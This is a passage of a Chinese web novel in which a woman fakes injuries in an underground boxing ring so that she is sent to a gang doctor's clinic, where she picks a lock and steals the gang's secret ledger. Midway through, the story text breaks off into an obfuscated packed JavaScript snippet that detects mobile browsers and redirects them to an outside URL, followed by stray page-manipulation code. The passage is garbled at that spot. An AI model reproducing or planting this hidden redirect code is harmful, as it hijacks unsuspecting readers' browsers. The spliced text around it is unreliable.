这就够了。她的每一步都在计划之中,甚至连“让人报信”都被计算得丝毫不差。 这是场心理战。 在这场战局里,宋祈是猎人,她是自愿挂在钩上的那块诱饵——但诱饵的意义,不是为了被吞掉,而是为了牵动猎人的方向。 一切按她的计划推进。 而为了让计划看起来滴水不漏,她在前一天特意去了城西龙湖街的南面。 不为别的,只为能让这次的“打拳”,更加合情合理,合理道可以打消宋祈的所有疑虑。 龙湖街的南面安静得不像城市的一部分,狭窄的巷子盘成迷宫,墙上攀满了爬山虎,绿叶在阴湿的砖缝间探出头,空气里漂浮着淡淡的霉味,像是埋藏多年的故事从裂缝里透了出来。 巷子口贴着几张早已泛黄的广告纸,写着“开锁”“修表”之类的字眼,纸角被风吹得卷起又落下,像是无人在意的摆设。 那是块批发市场。 迷宫的最尽头有条脏兮兮的商店街,里头都是些布满了油污的小铺子,破破烂烂的,好像风一吹,房子都能塌了。 而那边,有一家不起眼的电子产品维修店。 维修点的门头牌子被灰覆盖了大半,只有“电子产品”几个字还能看得清楚。门边的玻璃窗台上摆着几台旧传呼机,拆开的零件错落堆叠,像解剖了一半的尸体,泛着冷冰冰的光。 店里狭小得像是专为藏秘密设计的空间,昏黄的灯光打在柜台上,空气里弥漫着一种陈旧的烟草味。 而柜台后面坐着的干瘦的男人,就是阮云琛要找的人。 这家店是和安堂的一部分,帮他们打掩护,掺和假账和假证的事。阮云琛很清楚,她来这儿,不是为了结果,而是为了让一个“需求”显得合情合理。 缺钱——而且急着用。这样的理由,让她去地下拳场显得顺理成章。 宋祈一直知道阮云琛的软肋在哪里。她和淼淼的关系,是个明摆着的弱点;而从前不怎么露面的阮秋,这次在他的视线下出现,已经让他嗅到了更多的端倪。 宋祈很清楚,阮云琛从淮龙小学回来,手里捏着复学手续的单子,心里还牵挂着一个“上学”的问题——淼淼复学不难,可阮秋呢? 他没有身份,没有户籍,更谈不上什么学籍。 即便是淼淼,她在福利院的资料都被那些人改得乱七八糟,能顺利复学已经是费了不少力气。 以阮云琛的性子,她不可能眼睁睁看着阮秋继续待在模糊的灰色地带。 宋祈不用费太多心思也能猜到,她一定会想办法为阮秋补全所有手续,确保他也能像个普通的孩子那样过生活。她会想方设法让他和淼淼一样,有书读,有身份,有未来。 这些念头在宋祈看来,未免显得太过天真,这也正是他对阮云琛最不以为然的地方。 他一贯觉得,她虽然心思敏锐,却总是被牵绊太多。 优柔寡断也好,心软也罢,在宋祈眼里,这些特质都注定了她会为这些牵绊做出不计代价的选择。 所以阮云琛去电子产品维修店,也完全说得过去。 电子产品维修店是个藏污纳垢的地方,外面挂着卖二手电子产品的幌子,里面则提供各种见不得光的服务。 昏黄的灯泡摇摇晃晃地挂在头顶,微弱的光芒将柜台上的灰尘照得一清二楚。老板的指甲缝里嵌着黑泥,烟头在他指间打着旋儿,掉下一片灰烬,落在柜台的裂缝里。 阮云琛走进去,点名要办户口本、身份证和学籍资料。 他没有抬头,只是懒洋洋地把手搭在椅背上,声音含混不清:“六万块,嫌贵你找别人。” 阮云琛站在柜台前,脚边的地板凹陷下去,露出一块破损的水泥层。她的目光掠过那些堆叠的旧零件,最终落在男人脸上,声音平静:“我会想办法。” 老板会狮子大开口,当然是在情理之中——联网系统一升级,手续的风险和难度都翻倍,这种情况下,六万块的要价算不上夸张。 而阮云琛这么一来,维修店的老板也会将消息一五一十地汇报给宋祈。 六万块,阮云琛当然是拿不出来的。 宋祈不可能不知道这一点。 可正因如此,她再去地下拳场,理由就更显得无懈可击。 她需要钱——一大笔钱。对阮云琛而言,没有比拳场更快的方式了,而在宋祈眼里,阮云琛为了家人去地下拳场,显然也完全符合他的认知。 算计太深有时候反而容易迷惑,宋祈会信这套理由。 而阮云琛早就知道他会信。 她扯着嘴角笑了笑,背过身去,往拳场里面走去。 她需要再打十场拳。 ——这一会却不是为了钱,而是为了...... 为了能让对方把自己打得粉身碎骨。 63. 掌控 阮云琛又站在了拳台上。 地下拳场的灯光刺目,像一片冷冰冰的网,将整个场地死死笼罩住。 台下的人群随着每一场比赛的开始而沸腾,嘶吼声、咒骂声、口哨声交织在一起,裹挟着酒精与烟雾的气味,扑面而来。 灯光打在拳台上,将每一滴溅出的血迹都照得清晰可见,而台下的观众却像疯了一样,为每一次拳脚相加而尖叫。 这些画面让阮云琛的胃隐隐抽搐,仿佛这些年压在胃底的东西被硬生生搅了出来。 熟悉,太熟悉了。 熟悉到甚至有些反胃。 她记得自己第一次站上拳台时的情景——台下的人不是在看她,而是在看一场赌注。 那些充满恶意的笑容里没有人类应有的温度,眼神中只有算计。她的拳头落下,他们为赔率而欢呼;她被击倒,他们为血迹而狂笑。 所有的喜怒哀乐都与她无关。 这些人要的不是胜负,他们要的只是流血和崩溃——一个角斗场的笑话。 阮云琛坐在后台的长凳边,手肘撑着膝盖,抬眼望向场中央那块拳台。 她的目光透过几层晦暗的烟雾,落在拳台上那个步伐踉跄的拳手身上——那拳手的嘴角裂开了一道口子,血顺着下巴滴到拳台上,留下一片深色的痕迹。 背后的墙壁凹凸不平,像是在长期的湿气侵蚀下发了霉。空气里混杂着汗臭和消毒水的味道,潮湿得像是能让人窒息。 阮云琛缓缓站起身,双手松了松缠在掌心的绷带,缓缓走上台去。 爆发性的欢呼声起。 第一场比赛开始得迅速,结束得更快。 阮云琛一记干脆利落的肘击,将对方击倒在地。看台上的赌徒们嘶吼着,筹码在空气中飞舞,欢呼与骂声交织成一片。 后台的更衣室闷热逼仄,墙角的垃圾桶里丢满了用过的绷带和浸血的毛巾。 一些拳手坐在长凳上,肩膀上搭着湿毛巾,嘴里含着冰袋,有人低声咒骂,有人沉默不语。 阮云琛坐回原位,低头检查自己手上的绷带。 连续三场比赛后,她的右肋被对手一记膝撞击中,尖锐的钝痛刹时炸裂开来。 阮云琛仿佛听到了自己骨头发出的轻微“咯吱”声,像是一根弦被强行绷断。疼痛迅速扩散,她的呼吸变得急促,却依然咬着牙站了起来。 第五场,她故意出拳慢了一拍,给了对手一个反击的机会。 拳台上的对手毫不留情,连续几拳砸在她的肩膀和侧脸。她的脑袋嗡嗡作响,耳朵里充斥着观众疯狂的喊叫,但她仍旧稳住了脚步。 血腥味顺着汗水流进了嘴里,咸涩又发苦。 阮云琛抬手擦了一下脸,重新站稳,步伐微微后退,恰到好处地控制着自己的重心。 再一次挨打、再一次倒地……观众席上的叫喊声一阵高过一阵,他们兴奋得像是群嗜血的野兽,挥舞着手臂,为这一场“表演”狂欢。 第九场,阮云琛几乎是被拖下拳台的。 她的右侧肋骨已经出现明显的疼痛,呼吸时能感受到每一寸肺腔的撕扯感。右腿膝盖外侧的软组织撕裂,疼得她几乎无法完全站直。 更衣室的空气像被浸透了水的布,闷热得令人头晕。阮云琛背靠着墙,双眼微闭,听着四周模糊的声响。 有几个拳手的声音从隔壁传过来,夹杂着粗重的喘息和无意义的低笑。 地上有些散落的针头。 这些人...... 阮云琛知道,拳场上的这些人里,有些已经不只是依靠体能来维持状态了——针管的痕迹、涣散的眼神,刻板的动作,还有那种控制不住的情绪...... 只有偶尔的癫狂和暴躁让他们看起来还像活人。那些扎满针眼的手臂,躁动的情绪,像滞留在拳场潮湿空气里的秘密,每一次呼吸都会把它吐露一分。 针头断裂,药剂消散,所有的痕迹像沾了湿泥的脚印,不会彻底消失,也不会有人去追究它们的来处。 阮云琛低下头,缓缓碾碎了一根塑料头。 ……头很晕。 好像发烧了。 不知道是受伤太重引起的,还是失血过多引起的,又或者是两者都有。 高烧袭来的时候,像一层无形的湿雾从内里冒出来,缓慢地爬上皮肤,最后在额头上凝成细密的汗珠。 阮云琛站在后台的角落,周围的一切都在轻轻摇晃,像一台老旧的机器,齿轮咬合不紧,发出细微却无处不在的声响。 第十场......还差一场。 还差一场,就能让她所受的伤成为她所布的局的一部分。 阮云琛站在台上,盯着对面的对手。 男人的肩膀宽厚,步伐沉稳,像一座移动的石墙。他盯着她看了一会儿,嘴角勾起一丝冷笑,拳头举起的瞬间,空气里仿佛也充满了沉重的压迫感。 第一拳直奔她的肋部,拳风掠过的一刹那,阮云琛侧身闪避,脚步稳稳地落在拳台边缘。她的动作看似灵巧,但每一次闪避都极为克制,留着力气,也留着心眼。 对方的攻势凌厉,一记高肘向她头顶劈来。 阮云琛下意识地举臂挡住,力道震得她的手臂发麻,肩膀传来阵阵刺痛。阮云琛咬紧牙关,脚步往后退了一步,却不着痕迹地在动作里透出一丝破绽。 一记直拳砸在她的腹部,这一拳阮云琛没躲开。疼痛瞬间从神经末梢炸开,扩散到胸腔。她向后退了几步,脚下一个踉跄,像是彻底失去了重心。 台下的观众沸腾了,有人拍着手叫嚷:“再来!再来!” 对方没有放过她喘息的机会,拳风再次袭来,这一次目标是她的肩膀。阮云琛闭了闭眼,身体微微偏移,拳头精准地砸在她的肩胛骨上。 剧痛沿着脊椎蔓延,几乎让她瞬间倒下,但她依旧咬牙撑住,用膝盖微微一顶,强行稳住自己的重心。 台上的时间被拉得无比漫长,每一秒钟都像是一场孤独的拉锯战。疼痛和疲惫如潮水般压过来,她却仍在计算着对方的力道、速度,以及自己的极限。 终于,拳台边的围绳勒住了她的背。她喘着气,身体缓缓下滑,跪倒在地,指尖轻轻触到冰凉的地板。 台下的欢呼声和口哨声刺穿了空气,震得她耳朵发疼。有人开始数着押注,有人高喊着下场比赛的选手名字。她的视线被汗水模糊,额头低垂着,像是被压断了脊梁。 裁判的哨声再次响起。 后台的人很快将她架了起来,她的双脚几乎离开地面,手臂搭在两个人的肩膀上,被拖下了拳台。疼痛和疲惫在她体内交织成一张网,她的呼吸越来越浅,连视线都开始摇晃。 阮云琛只觉得自己的呼吸变得断断续续,每一次吸气都像被火烧过似的刺痛。 眼前的灯光刺得她睁不开眼,耳边是台上观众的尖叫声和口哨声,远远地像从海水里传来的回音。 空气似乎变得浑浊,混着汗臭、药味和血腥气。 长椅上瘫倒着几个刚下场的拳手,他们身上裹着简单的绷带,有人正用破旧的毛巾擦着头上的血,动作机械而迟钝。 “喂,清醒点。”声音从头顶传来,冷硬得像冰水顺着耳廓灌进去,“还能走吗?” 一个穿着白大褂的男人站在她面前,脚下踩着一双看不出颜色的胶鞋,鞋边的泥痕已经干裂。袖口卷到肘弯,露出一截瘦削的手腕,上面盘着模糊的墨色纹身,像一张皱巴巴的旧地图。 他低头看了阮云琛一眼,眉头微微皱起,神情冷淡得像是在打量一件破损的货物。 阮云琛勉强抬了抬眼皮,指尖在地板上轻轻抽动了一下。 身体里每一块肌肉都紧绷着,却被她硬生生压住,不露一丝痕迹。她的胸口缓缓起伏,像是在挣扎着抓住最后一口气,实际上,每一下呼吸都在小心控制力度,保持得恰到好处。 男人蹲下身,一双带着烟草味和汗腻气息的手按住了她的肩膀,力道粗暴得像是在压一块快要散架的木板。 痛感从肩胛处猛然炸开,贯穿了整条脊椎,瞬间冲进脑海。阮云琛眼前一黑,喉咙里发出一声压抑的低哼,冷汗几乎湿透了后背。 ——很好,就这样。 阮云琛的意识冷静得像一潭死水。 痛感不是障碍,而是伪装的关键。每一个微小的动作,每一丝肌肉的反应,都经过了她的精确调整,演绎得毫无破绽。 “这情况……”男人低声咕哝了一句,随即站起身,对旁边的人挥了挥手,“这里处理不了。” 空气安静了一瞬,周围的人都在盯着地上的她。那种眼神像是在审视某件陈旧的物件,带着某种漠然的实用主义,连怜悯的影子都不曾出现。 “那怎么办?”另一个年轻点的声音响起,语气里带着几分犹豫,“这要是真不行……” “谁管那么多?”男人打断了他,语气比刚才更低,却透着一股掩不住的不耐,“规矩你懂不懂?车给她拉过去,剩下的自然有人管。” “拉去……?”年轻人迟疑了一瞬,像是没明白,又像是没敢问。 “老地方。”那男人丢下三个字,已经转身去了另一边,语气里懒得多费一个字。 空气陷入短暂的安静。 灯光从头顶垂落,像一层蒙尘的幕布,笼罩着一切。后台的声音变得遥远又嘈杂,仿佛隔着一层模糊的水雾。 阮云琛闭着眼,寒意从四肢缓慢地爬上来,包裹住疲惫的身体,又渗透进骨髓。耳边的声音时远时近,像是在试图从某个深井里传出,却又被井壁阻隔得七零八落。 有人在移动,她听见了金属的轻响,像车门被拉开的声音,又像什么沉重的东西被拖动。地板的冰冷贴着后背,带着某种微弱的震动感,一点一点传递进意识的边缘。 阮云琛的手指微不可察地动了一下,随即又松了开。 “老地方”三个字落下,像一把无形的钥匙,将某个沉默的枷锁轻轻打开。她的呼吸微微一滞,胸腔里那股灼热的疼痛像潮水般蔓延开来,又被冷意缓慢冲刷,变得愈发模糊。 ——很好。 一切都在计划中。 车子启动的瞬间,颠簸让阮云琛的身体像是散架了一样,痛感顺着骨头深处蔓延开来,击中了每一根神经。 阮云琛的额头贴在车门的冷金属上,冰凉感却没能缓解那股越来越烈的灼热。 头顶的车顶微微摇晃,轮胎碾过街道上的坑洼时发出闷响。她闭着眼,耳边是发动机的低鸣和男人低声的交谈,每一个音节都被她细细捕捉。 “她不行了,发着烧,看着挺严重。”一个声音从前座传来,语气冷淡,甚至带着几分麻木。 “真他妈麻烦。”另一个声音跟着响起,带着掩饰不住的不耐烦,“林医生那儿还能收人吧?最近手头够忙的。” “还能挤一挤,这种情况送过去,他不会嫌麻烦的。人带着就成,费再多事儿也不是咱的事儿。” 阮云琛的闭着眼,意识被灼热和疼痛分割成一片片断断续续的碎片。烧得模模糊糊的脑海里,却始终有一根细线,牵着她的理智往前走。 一切都在她的计划里——除去这场突如其来的高烧。 从决定踏进拳场的那一刻起,她就知道这不是单纯的“打拳”。如果没有“意外”,拳场医疗队不会管她,地下拳场更不会为一个无关紧要的拳手花钱。而林奇的诊所,只接待那些“意外”严重到无可避免的拳手。 她需要的就是那个“无可避免”。 这是场精确到每一秒钟的布局:十场比赛,每一场都带着不同的目的。 前三场赢下来,是为了站稳脚跟,让那些下注的人觉得她值得多看一眼;接下来的三场,她故意输得难看,给自己制造伤痕,却不会重到无法支撑。到最后的几场,她又开始赢——不是轻松的那种赢,而是每一步都显得惊险万分,像是在用最后的力气坚持。 她的身体是武器,也是棋子。用它上场,用它流血,用它制造出所有旁人认为的“濒临崩溃”。 她甚至知道自己需要挨哪一拳,在哪个瞬间踉跄,在哪一场结束后勉强站起来,抹一把脸上的汗和血,继续拖着沉重的步伐回到台上。 伤口,淤青,甚至那几根可能轻微骨裂的肋骨,都是她精挑细选的结果。受伤得恰到好处——足够重,足够让医疗队的人觉得她撑不过去,却又不至于真正让她倒下。 “不能动”的姿态是她演出来的。她控制了自己的每一次反应,连痛苦都被细细地衡量过——一声喘息,眼皮的颤动,手指无力地垂下,全都精确得像是打磨过的剧本。 可这场高烧,却是计划之外的插曲。 失血、过度运动,再加上伤口暴露在空气里感染,烧来的时候,像一团湿热的棉花堵住了她的每一口气。 这让她看起来更加脆弱,更加符合一个“失控”的拳手形象,但同时也让她身体里的每一块肌肉都发出抗议。 无妨。 阮云琛吸了一口微弱的气,嘴角一丝几不可察的弧度拉紧。烧得越高,就越能让这些人确信,她真的需要被送去“老地方”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061341|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——林医生。 林奇。 那个为宋祈的地下世界擦皮.股的医生,是她计划中的关键。 这个人除了在和安堂的大楼里有个诊室之外,自己在外面也有私人诊所。这当然不是什么正经挂牌的医疗机构,而是一个挂靠和安堂的藏污纳垢的地方——见不得光,却极为热闹。 这私人诊所就位于城市的垃圾街尽头。 那是一个被人遗忘的角落,街上满是流浪汉和酒鬼,空气中弥漫着酸臭的腐烂气息,随处可见破败的建筑和杂物堆砌的死角。 诊所本身藏在一间废弃仓库的地下一层,没有门牌,也没有任何标识,唯一能证明它是“医疗场所”的,是那扇斑驳铁门上贴着的一张泛黄的“请敲门”字条。 门后的走廊昏暗而潮湿,墙上积满霉斑,灯光忽明忽暗,像随时可能熄灭。 阮云琛来过几次——大多是为了旁人,极少是为了自己。 她记得第一次来的时候,身后跟着一个被开瓢的家伙,血流满面,走起路来摇摇晃晃。那时候她正替宋祈跑腿,手里还拎着一袋给林奇“分润”的现金。 她记得铁门推开的声音,记得那张锈迹斑斑的手术床,记得空气里那股刺鼻的消毒水味道。 她甚至记得林奇抬眼看她时,那一瞬间的不耐烦。 “你们这些人,”林奇嘟囔着,翻着他的工具,“非得把自己弄成这样才消停,真不嫌麻烦。” 那时的她不太明白林奇为什么对这种状况总是表现出一副嫌恶至极的样子,后来才明白,这不过是他吸金机器运转的方式:逼得人欠债,再让人用命还。 诊室内的布置简陋到像一场闹剧:一张锈迹斑斑的手术床占据了中央,旁边堆满了各种过期药品和二手医疗器械,有些还沾着未清理干净的血迹。空气中弥漫着一股消毒水和腐败气味交织的味道,连最不讲究的人走进来都会忍不住掩鼻。 对林奇来说,这里是他的生财工具;对拳场的人来说,这却是一个让人毛骨悚然的地方——因为所有被送到这里的人,都要支付高昂的“治疗费用”。 那些没有钱的拳手,只能继续回到拳场,用一场又一场的比赛偿还。 无限循环,直到被压垮为止。 而这个诊所就是阮云琛的目标,也是她的战场。 这里有她—— 有警察要的东西。 车窗外是昏黄的街灯,光线模糊地落在车门上。阮云琛没有睁开眼,但她能感受到车子停下的一瞬,轮胎在地面轻轻滑过的震动,脚步声的靠近,以及车门打开时的一阵凉风。 有人拉开车门,一只手粗鲁地抓住她的手臂。 “到了,”那人不耐烦地说,“赶紧扔进去,拳场那边还有别人要接。” 门被推开的瞬间,灯光从头顶劈下来,将原本昏暗的走廊切割成一片刺眼的白。 林奇站在门口,穿着一件皱巴巴的白大褂,袖口微微泛黄,手腕上露出旧时纹身的尾端。他皱着眉抬眼,视线落到被人架着的阮云琛身上,顿时一怔。 “怎么是你?”他开口,声音低哑而短促,带着掩饰不住的惊讶。 架着阮云琛的男人没耐心搭话,直接把阮云琛往里一推,“你先收着,我还有事。” 话音未落,人已转身离开,铁门砰地一声关上。 屋子里只剩下阮云琛和林奇两人,空气像是凝滞了一样沉闷。林奇的目光在她脸上停留了几秒,皱起的眉头慢慢松开,换上了一副带点戏谑的冷淡神色。 “行啊,”他嗤笑了一声,转身从治疗台上拎起一只破旧的医药箱,“这次换成是被打进来的了?” 阮云琛低头喘了一口气,抬眼扫了他一眼,没有回答。 林奇也没指望她说什么,只是拖着步子绕到她身侧,伸手扶了一下她的肩膀,试探似的用力按了按。“啧,伤得不轻。”他语气里透着一丝习以为常的漫不经心,“不过你这种人,也就这点命,死不了。” 阮云琛肩膀一抖,疼痛像是一根火烙在神经末端烧了一下。她抿了抿唇,仍然没有吭声。 林奇显然也懒得再问,只摆了摆手:“担架床那边躺着去,别挡着地方。” 他随手从口袋里掏出一盒烟,叼在嘴里点燃,动作懒散得像是在处理一件日常琐事。 阮云琛顺从地挪动身体,步伐迟缓但不慌乱。她知道林奇的眼睛在盯着她,却也清楚,这份关注不会持续太久。 灯光昏黄,霉斑爬满了墙角,房间里弥散着过期药品的酸腐味和浓重的消毒水气息,让人一阵阵窒息。 诊所的灯光昏暗,映得墙上的霉斑愈发显眼。空气里充斥着过期药品的酸腐味和弥散不去的消毒水气息,让人感到窒息。 阮云琛侧身躺上担架床,林奇拖了个点滴瓶过来——阮云琛也不知道里头是什么,他随手捏了个酒精棉花,往阮云琛手上吐了两把,就把针头给怼了进去:“退烧液,先等着,我这边还有个病号,命大就别喊疼。” 没等阮云琛说什么,林奇就“啪”地把帘子给拉了上。阮云琛眼睛微闭,竖着耳朵听着周围的动静。 林奇的脚步声渐渐远去。 阮云琛缓缓撑起身体,动作轻得像一片叶子落地。 肩膀和背部已经因为持续的疼痛绷得僵硬,每一口气都像从胸腔深处挤出来的冷风。汗水顺着额角滑下,阮云琛咬紧了牙关,压下所有的反应,连呼吸都放得极轻。 林奇的诊所狭小又拥挤,空气混杂着霉味、药物的酸腐气息,以及似乎永远洗不干净的血腥味。 诊疗台边散落着几只空针管,角落里堆着破损的器械箱,仿佛随时会把人绊倒。墙上的霉斑在灯光下显得更加刺眼,像是时间留下的伤疤。 这里没有监控,也没有任何防备。大门松散得像一阵风都能吹开,帘子后面堆满了杂乱的药瓶和用过的纱布。 没有秩序,也没有人费心去整理一切。每一个细节都在宣告这个地方的随意和无所谓——太随意了,随意到仿佛任何人都可以进出。 然而正是这种“无所谓”,才让这里成为一个绝佳的藏匿之所。 太过显眼的地方反而不安全,重要的东西往往不会藏在精心布置的抽屉里,而是随意堆在看似最不值一提的角落。 破旧、凌乱、不堪入目,却能成为最好的伪装。 阮云琛微微闭上眼,脑海中浮现出那些零碎的线索。 这里藏着什么,她大概知道。 一本账本。 一本比任何人命都更值钱的账本。 64. 潜入 宋祈的办公室里也有一本账本。 那账本堂堂正正地放在他和安堂大楼办公室的保险柜里,钥匙和密码就握在他手上。 那是一本让人挑不出毛病的账本,记录着和安堂名下娱乐场所的每一笔合法流水,从酒水进货到包厢消费,再到员工工资,都被记得清清楚楚、滴水不漏。 警察来过几次,宋祈总是不慌不忙地把账本拿出来,摊在他们面前,嘴角挂着一抹看似漫不经心的笑。 他会用手指轻轻敲着账本的封面,语气透着几分刻意压抑的得意:“都在这儿,想查就查。” 账本是真的,但也只是真的到此为止。 阮云琛记得,警察曾在账本上挑过一些小问题,比如某笔流水的金额或者供货商的资质,但最终都被宋祈轻松化解。 他说得滴水不漏,态度光明磊落,甚至还当着警察的面给那位供货商打了电话。对方接电话的语气谦卑而热情,配合得天衣无缝。 “假?”宋祈曾笑着问警察,“你们哪只眼睛看出这是假的?” 当然不是假的,可那本账本却是用来糊弄警察的。 宋祈从不会把真正的东西留在显眼的地方。 他太狡猾,也太清楚警察能查到什么、想查到什么。所以,他把那本账本摆在了台面上——不藏、不掩,而是大大方方地展示出来。 谁都能看出这种堂而皇之的骗局,可谁都挑不出毛病。 ——“求助警察是没有用的。” 他们只会让她的局面变得更难堪。 这是阮云琛一直以来的想法。 除非走投无路,否则绝不会冒这个风险。 但现在......何尝不是一种走投无路? 阮云琛闭着眼,指尖微微蜷起,心里的推论一寸寸拼凑起来。 林奇是宋祈最信任的手下之一,也是和安堂地下世界里必不可少的一环。诊所的混乱、无序,恰恰是最好的掩护。 没人会相信,整个和安堂最关键的黑账会被丢在这样一个满地针管、霉味刺鼻的地方。 正是因为没人相信,才成了最安全的选择。 宋祈每个月都会来这个地方。 一个明明可以随便打发手下跑腿的小事,一个看上去无关紧要的破地方,为什么非得他亲自过来? 每个月一次,雷打不动。 宋祈也许只是信任林奇,信任到即便是小伤小病也非他不治;或者他单纯只是喜欢这种低调而不起眼的环境,觉得这里安全、隐蔽——阮云琛不是没有想过这种可能。 但这些理由太牵强了,牵强得让她越想越不对劲。 宋祈的每一次动作都藏着深意,每一个选择都有他的道理。 他从来不会浪费时间,更不会做无意义的事。他来林奇的诊所,绝不是单纯为了看病,分明和安堂大楼里也有更大更明亮设备更好的诊室,他却偏偏要“顺路”来这间脏乱的场所。 顺路?鬼才信。 宋祈从不完全信任任何人。 信任对他来说是一种太昂贵的奢侈品,他付不起这个代价。 他的多疑是出了名的,亲信也好,旧部也罢,甚至包括他手下最忠诚的骨干,他都留着几分防备。亲信靠得太近,靠得近的人,一旦手握筹码,就总会产生些多余的想法。 账本若是交给周铁山那样的人,不仅等同于递上权力的钥匙,还可能在关键时刻成为自己脖子上的绞索。 宋祈知道,权力体系里的每一环都紧绷着,但凡出现一丝裂缝,就会撕裂整张网。 而林奇,是例外。 阮云琛睁开眼,脑中那根线轻轻收紧,思绪像爬藤植物一样生长着,蔓延到过去的一幕幕。 林奇的地位确实不高——甚至在宋祈的众多手下中,他显得格格不入。 他不是掌控一方的地头蛇,也没有太多兄弟支持,连和安堂里那些打手见到他时,语气里都难掩几分随意。 但林奇的存在又不可或缺。 医术是他的专业,也是他的枷锁。宋祈的这些人,打拳的、收债的、护场的,哪个不需要他? 他的诊所就是一个漏洞,漏洞大到任何人都能踩进来,但也小到没有人会觉得值得动它。就像林奇本人一样,看似不起眼,却像颗嵌在废墟中的钉子,深深扎进了和安堂的运转体系里。 没人会将重要的东西放在这里——太危险,也太不体面。但正因为如此,反而最安全。 宋祈知道,他的亲信会被盯着,而林奇不会。 林奇没有权力,没有野心,也没有支撑起叛逃的筹码。他只是一个医生,一个靠和安堂活下去的边缘人。他的弱点太多,诊所、收入、甚至安稳的生活,全都在宋祈的掌控之下。 这些弱点足以保证,他永远不敢试图靠着那件东西向上爬。 阮云琛尤记得,林奇每次和宋祈对话时的神态——那种小心翼翼却又隐隐带着倨傲的态度,像是掌握了一些别人不知道的秘密。 ——真账本一定在他这里。 即使不是真账本,那么也一定是足以撼动和安堂地位的东西。 阮云琛缓缓呼出一口气,空气像冰碴子似的刮进胸腔,每一寸都在烧。 她微微侧身,试图换一个更能缓解疼痛的位置,却像一脚踩进了碎玻璃里,刺得从肩膀到背脊都不受控制地抽紧。呼吸在这疼痛的牵扯中一顿,她几乎忍不住咬住自己的舌尖。 冷汗顺着额角蜿蜒下来,混合着皮肤的热度,带来一种奇异的错觉——似乎是冷的,但又仿佛滚烫到可以灼伤。 她的手指微微发颤,骨节僵硬得像冻在冰里,攥着担架床边缘时,力气却轻得像飘在半空。 灯光透过帘子的缝隙,在她微闭的眼皮上洒下隐隐的阴影。 阮云琛的心跳并不快,却沉闷得像压着一块巨石,每一下都像是被钝器狠狠砸进了耳膜。疼痛和发烧的交织让思维混沌得近乎停滞,可她知道,她不能停。 停下,意味着功亏一篑。 她缓慢地吸了口气,胸腔深处传来的疼痛像炭火灼烧,却被她强行压下。 她用尽力气支起手臂,动作极其轻微地撑起身体,腰背僵硬地抵在担架床上。那一瞬间,肩膀处的撕裂感如洪水般席卷全身,疼得她眼前一阵模糊。 她闭了闭眼,手指用力掐进掌心,刺痛的神经将模糊的意识拉回一分。 不能倒下。 耳边传来林奇粗鲁的脚步声,以及他对另一个病患的骂骂咧咧。嘈杂声中夹杂着金属器械撞击的清脆响声,这种细微的声响将她的思维从疼痛中暂时分离出来。 “冷静。”她在心里对自己说。 每一次疼痛都像潮水般涌来,挟裹着所有的不适与不甘,但她清楚,这只是暂时的。只有跨过这一瞬的绝望,才能让计划继续。 她缓缓睁开眼,目光落在帘子的阴影上,光影交错间,林奇的身影模糊得像一场梦魇。 再等等。 阮云琛深吸一口气,身体像绷紧的弓弦。 她靠着担架床,微微调整了一下角度,闭着眼,尽量在疼痛的间隙中逼迫自己的大脑运转。 她开始回忆先前见到过的林奇办公室的细节,每一个抽屉的位置,每一道门的缝隙,以及桌子上那些看似随意摆放的文件。 每一秒都像在刀尖上行走,每一寸都在撕扯着她的意志。 诊所里的一切声音像是从一层水雾后传来,模糊而遥远。 阮云琛用手指缓缓撑住担架床的边缘,感受着每一次触碰带来的冰冷感。她轻轻挪动身体,几乎没有发出任何声音,像是在和空气中的潮气较劲。 帘子外传来林奇低低的骂声,夹杂着铁器相碰的清脆响动。 他的注意力仍然放在另一个病患身上。阮云琛的眼睛微微睁开一条缝,视线穿过帘子上的缝隙,捕捉到办公室那扇虚掩的门。 ——她的目标。 她拔掉了手上的针管,瞬间失去压力的血管往外飙了点血,阮云琛没有在意。 她的手指缓缓从担架床边缘移开,像是在一块随时可能崩裂的冰面上试探。 肩膀传来的疼痛还在敲击着她的神经,但她的动作依然平稳。没有多余的犹豫,她撑住床沿,安静地从担架上滑下来。 脚刚接触地面,冰冷的触感顺着皮肤直冲脑海,她的膝盖微微一软,却用力逼住了。阮云琛屏住呼吸,手轻轻撑住帘子边缘,将帘布拨开一条细缝,视线扫过外面的场景。 林奇背对着她,正弯腰摆弄着工具台,灯光在他身上投下一道沉重的阴影。 阮云琛没有犹豫。 她的脚步像踩在棉花上,一点一点挪向办公室的方向。肩膀处的疼痛在每一次轻微动作中撕扯着她的理智,但她没有回头。 她的手指在半空中划过那扇虚掩的门,指尖轻轻推了一下,门缝无声地打开了一些。 阮云琛顿了顿,缓慢而用力地吸了一口气,随即踏进那间屋子。 林奇的办公室比诊所的外间稍微整洁一些,但依旧凌乱得像一场没收拾的事故现场。 桌面上摊着几本医学书籍,旁边是几张未装订的病历纸,上面潦草的字迹看得人头疼。墙角堆着几个金属器材箱,上面覆着一层灰,似乎已经很久没人动过。 阮云琛站在门口,目光迅速扫过整个房间。 目标不可能摆在明面上。 她的目光落在书桌边的小抽屉上,锁孔周围的磨损痕迹引起了她的注意。 她蹲下了身,从怀里掏出先前藏好的镊子——那是从林奇的手术盘上顺下来的,指尖微微发抖,却迅速将镊子插进锁孔。 她用手指小心地调整角度,动作轻得连金属摩擦的声音都几不可闻。 一分钟,或许更短。 锁芯轻轻一转,抽屉打开的一瞬间,她的心跳似乎也加快了一拍。 抽屉里整齐地摆放着几叠文件,还有一个黑色封皮的...... 账本。 阮云琛的目光在账本上停留了一瞬,脑海中那点模糊的猜测顿时变得清晰。 这个账本和宋祈办公室里那本明账完全不同——封皮破旧,纸张泛黄,没有任何多余的修饰,就像一个被随意扔在角落的旧物。 阮云琛伸手拿起账本,翻开一页,纸张的质感让她的心脏骤然一紧。 里面密密麻麻的记录全是手写的,每一笔都透着急促和草率,金额巨大却又隐藏得巧妙,和安堂的“暗网”被清晰地记录在这些字里行间。 就是它。 阮云琛没有多看,她迅速合上账本,将它藏进怀里,然后站起身,步伐更快地向门外移动。 她的手刚碰到门框,外间传来林奇的声音,伴随着椅子移动的刺耳声响。 